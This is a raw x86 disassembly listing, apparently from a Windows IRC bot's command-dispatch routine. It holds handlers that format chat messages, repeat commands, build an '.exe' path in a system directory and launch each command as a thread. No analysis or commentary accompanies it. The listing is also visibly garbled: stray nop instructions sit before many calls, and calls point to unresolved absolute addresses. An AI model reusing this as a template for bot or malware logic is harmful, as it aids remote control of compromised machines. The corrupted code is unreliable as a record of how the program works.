		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E56C[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E360[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E578
		push	eax
		push	edi
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407A35:				; CODE XREF: sub_401ACD+5E8Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: sub_401ACD+4ED1j
					; sub_401ACD+4EE8j
		push	[ebp+arg_10]
		call	dword_4CB664
		push	edi
		mov	[ebp+var_680], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41B5F0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6B0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AAA8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C668
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407B44


loc_407B2E:				; CODE XREF: sub_401ACD+6075j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407B2E
; ---------------------------------------------------------------------------


loc_407B44:				; CODE XREF: sub_401ACD+605Fj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42AB9C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407B55:				; CODE XREF: sub_401ACD+4EA3j
					; sub_401ACD+4EBAj
		push	[ebp+arg_10]
		call	sub_41B779
		mov	[ebp+var_112C],	eax
		push	7Fh
		lea	eax, [ebp+var_1230]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+var_88]
		mov	[ebp+var_1238],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset loc_4103AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407C41


loc_407C2B:				; CODE XREF: sub_401ACD+6172j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407C2B
; ---------------------------------------------------------------------------


loc_407C41:				; CODE XREF: sub_401ACD+615Cj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42AA28
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_407C52:				; CODE XREF: sub_401ACD+4E75j
					; sub_401ACD+4E8Cj
		push	0FFh
		lea	eax, [ebp+var_2878]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	0FFh
		lea	eax, [ebp+var_2778]
		push	edi
		push	eax
		call	sub_41B5F0
		push	[ebp+arg_0]
		mov	[ebp+var_2674],	ebx
		call	sub_41B779
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAB
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB1
; ---------------------------------------------------------------------------


loc_407CAB:				; CODE XREF: sub_401ACD+61C8j
		mov	[ebp+var_2668],	ebx


loc_407CB1:				; CODE XREF: sub_401ACD+61DCj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC8
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCE
; ---------------------------------------------------------------------------


loc_407CC8:				; CODE XREF: sub_401ACD+61EAj
		mov	[ebp+var_266C],	ebx


loc_407CCE:				; CODE XREF: sub_401ACD+61F9j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9FC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407D7F


loc_407D69:				; CODE XREF: sub_401ACD+62B0j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407D69
; ---------------------------------------------------------------------------


loc_407D7F:				; CODE XREF: sub_401ACD+629Aj
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_42A9BC
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407D90:				; CODE XREF: sub_401ACD+4E47j
					; sub_401ACD+4E5Ej
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3410]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3390]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3310]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+arg_10]
		push	offset unk_42A980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset byte_414A91
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407E67


loc_407E51:				; CODE XREF: sub_401ACD+6398j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407E51
; ---------------------------------------------------------------------------


loc_407E67:				; CODE XREF: sub_401ACD+6382j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42A948
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407E78:				; CODE XREF: sub_401ACD+4D1Aj
					; sub_401ACD+4D31j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2FE8]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2F68]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_2EE8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+arg_10]
		push	offset unk_42A918
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset dword_4137CC
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_407F4F


loc_407F39:				; CODE XREF: sub_401ACD+6480j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_407F39
; ---------------------------------------------------------------------------


loc_407F4F:				; CODE XREF: sub_401ACD+646Aj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42A8E0
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_407F60:				; CODE XREF: sub_401ACD+4BF1j
					; sub_401ACD+4C08j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3C64]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3BE4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3B64]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		push	20h
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+arg_10]
		push	offset unk_42A8B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset byte_412A53
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408048


loc_408032:				; CODE XREF: sub_401ACD+6579j
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_408032
; ---------------------------------------------------------------------------


loc_408048:				; CODE XREF: sub_401ACD+6563j
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset unk_42A878
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_408059:				; CODE XREF: sub_401ACD+4BC3j
					; sub_401ACD+4BDAj
		push	7Fh
		lea	eax, [ebp+var_1778]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	3Fh
		mov	[ebp+var_1628],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16F8]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A4
		push	3Fh
		lea	eax, [ebp+var_16B8]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4080A4:				; CODE XREF: sub_401ACD+65C3j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A848
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408130


loc_40811A:				; CODE XREF: sub_401ACD+6661j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDE
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40811A
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_401ACD+664Bj
		call	near ptr 2670E94h
		nop
		push	eax
		push	offset dword_42A80C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408141:				; CODE XREF: sub_401ACD+4B83j
					; sub_401ACD+4B9Aj
		push	edi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408234
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF0],	eax
		lea	eax, [ebp+var_1DEC]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D5C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1D58],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A7E0
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1D6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	ebx
		push	eax
		push	offset byte_412E9D
		push	ebx
		push	ebx
		call	near ptr 2670579h
		nop
		mov	ecx, [ebp+var_1D6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_408223


loc_408211:				; CODE XREF: sub_401ACD+6754j
		cmp	[ebp+var_1D54],	ebx
		jnz	short loc_40828B
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401ACD+6742j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42A7A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_408234:				; CODE XREF: sub_401ACD+6683j
		push	offset unk_42A770
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_40823E:				; CODE XREF: sub_401ACD+4B55j
					; sub_401ACD+4B6Cj
		push	edi
		push	[ebp+arg_10]
		nop
		call	near ptr 2690C4Eh
		test	eax, eax
		jz	short loc_40826B
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42A74C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40828B
; ---------------------------------------------------------------------------


loc_40826B:				; CODE XREF: sub_401ACD+677Dj
		push	offset dword_42A740
		call	sub_41814C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980


loc_408288:				; CODE XREF: sub_401ACD+2F2Aj
					; sub_401ACD+556Fj
		add	esp, 0Ch


loc_40828B:				; CODE XREF: sub_401ACD+2136j
					; sub_401ACD+2ECCj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4082A8:				; CODE XREF: sub_401ACD+57C6j
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4082B5:				; CODE XREF: sub_401ACD+4B27j
					; sub_401ACD+4B3Ej
		push	[ebp+arg_10]
		lea	eax, [ebp+var_3F04]
		push	104h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_4082EF
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4082EF
		push	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4082EF:				; CODE XREF: sub_401ACD+6802j
					; sub_401ACD+6811j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F84]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F88],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CF8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF4],	eax
		lea	eax, [ebp+var_3E00]
		push	eax
		lea	eax, [ebp+var_3F04]
		push	eax
		push	offset unk_42A710
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_3CFC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F88]
		push	ebx
		push	eax
		push	offset byte_416CAD
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_3CFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4083A1


loc_40838F:				; CODE XREF: sub_401ACD+68D2j
		cmp	[ebp+var_3CF0],	ebx
		jnz	short loc_4083BC
		push	32h
		nop
		call	near ptr 2670535h
		jmp	short loc_40838F
; ---------------------------------------------------------------------------


loc_4083A1:				; CODE XREF: sub_401ACD+68C0j
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset unk_42A6D4


loc_4083AD:				; CODE XREF: sub_401ACD+925j
					; sub_401ACD+A63j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_4083BC:				; CODE XREF: sub_401ACD+7E1j
					; sub_401ACD+94Cj ...
		push	1
		pop	esi
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4083C4:				; CODE XREF: sub_401ACD+4AF9j
					; sub_401ACD+4B10j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	[ebp+arg_10]
		mov	[ebp+var_63C], esi
		call	sub_41B779
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408403
		mov	[ebp+var_638], 5


loc_408403:				; CODE XREF: sub_401ACD+692Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406CDE
		lea	eax, [ebp+var_E10]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2650CB8h
		nop
		test	eax, eax
		jnz	short loc_40844C
		push	offset unk_42A6B0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40844C:				; CODE XREF: sub_401ACD+6973j
		push	edi
		push	offset dword_42A694
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_408457:				; CODE XREF: sub_401ACD+4ACBj
					; sub_401ACD+4AE2j
		push	edi
		push	offset aDark	; "Dark"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085D0
		lea	eax, [ebp+var_48F0]
		push	eax
		push	104h
		nop
		call	near ptr 2690000h
		push	0FFh
		lea	eax, [ebp+var_25D0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_17D0]
		push	eax
		call	sub_40AD80
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_24D0]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23CC],	1
		mov	[ebp+var_23C8],	ebx
		jz	short loc_4084EC
		push	10h
		push	ebx
		push	eax
		call	sub_41BDC5
		add	esp, 0Ch
		mov	[ebp+var_23C0],	eax
		jmp	short loc_4084F2
; ---------------------------------------------------------------------------


loc_4084EC:				; CODE XREF: sub_401ACD+6A09j
		mov	[ebp+var_23C0],	ebx


loc_4084F2:				; CODE XREF: sub_401ACD+6A1Dj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_408509
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_23C4],	eax
		jmp	short loc_40850F
; ---------------------------------------------------------------------------


loc_408509:				; CODE XREF: sub_401ACD+6A2Bj
		mov	[ebp+var_23C4],	ebx


loc_40850F:				; CODE XREF: sub_401ACD+6A3Aj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23BC],	eax
		lea	eax, [ebp+var_2650]
		mov	[ebp+var_2654],	esi
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B4],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_23B8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A65C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_23D0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2654]
		push	ebx
		push	eax
		push	offset loc_4163F9
		push	ebx
		push	ebx
		nop
		call	near ptr 2670579h
		mov	ecx, [ebp+var_23D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4085BF


loc_4085A9:				; CODE XREF: sub_401ACD+6AF0j
		cmp	[ebp+var_23B0],	ebx
		jnz	loc_406CDE
		push	32h
		call	near ptr 2670535h
		nop
		jmp	short loc_4085A9
; ---------------------------------------------------------------------------


loc_4085BF:				; CODE XREF: sub_401ACD+6ADAj
		nop
		call	near ptr 2670E94h
		push	eax
		push	offset dword_42A620
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4085D0:				; CODE XREF: sub_401ACD+6999j
		push	offset dword_42A5D8


loc_4085D5:				; CODE XREF: sub_401ACD+2E73j
					; sub_401ACD+457Cj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_4085E8:				; CODE XREF: sub_401ACD+4A9Dj
					; sub_401ACD+4AB4j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 28h
		test	eax, eax
		jle	short loc_408673
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2670535h


loc_408673:				; CODE XREF: sub_401ACD+6B8Ej
		push	offset dword_42A5B4
		call	sub_4151AC
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408687:				; CODE XREF: sub_401ACD+4A6Fj
					; sub_401ACD+4A86j
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408745
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A59C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_42A568


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A534
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
